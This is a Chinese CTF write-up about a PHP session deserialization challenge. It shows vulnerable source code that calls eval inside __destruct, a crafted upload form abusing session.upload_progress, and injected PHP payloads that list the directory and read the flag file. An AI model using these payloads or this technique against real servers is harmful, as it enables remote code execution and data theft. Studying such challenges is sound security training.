前置知识
session 的存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的
php
: 默认使用方式,格式 键名|键值(经过序列化函数处理的值)php_serialize
: 格式 经过序列化函数处理的值php_binary
: 键名的长度对应的ASCII字符 + 键名 + 经过序列化函数处理的值-
利用session.upload_progress进行文件包含和反序列化渗透
直接看看freebuf写的这篇文章吧
利用session.upload_progress进行文件包含和反序列化渗透
wp部分
打开题目,代码审计后,发现无太多可利用点
根据ini_set(‘session.serialize_handler’, ‘php’)
这句话,推测和 php 对对象的序列化有相关漏洞
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
那么我们就进入phpinfo查看一下,enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;只需往该地址任意 POST 一个名为 PHP_SESSION_UPLOAD_PROGRESS 的字段,就可以将filename的值赋值到session中
构造上传表单:
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="777" />
<input type="file" name="file" />
<input type="submit" />
</form>
再查看disable_functions
发现禁用了函数system,那么我们则使用其他方式查看即可,记得在值前面加上|
print_r(scandir(dirname(__FILE__)));
通过phpinfo页面查看当前路径_SERVER["SCRIPT_FILENAME"]
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));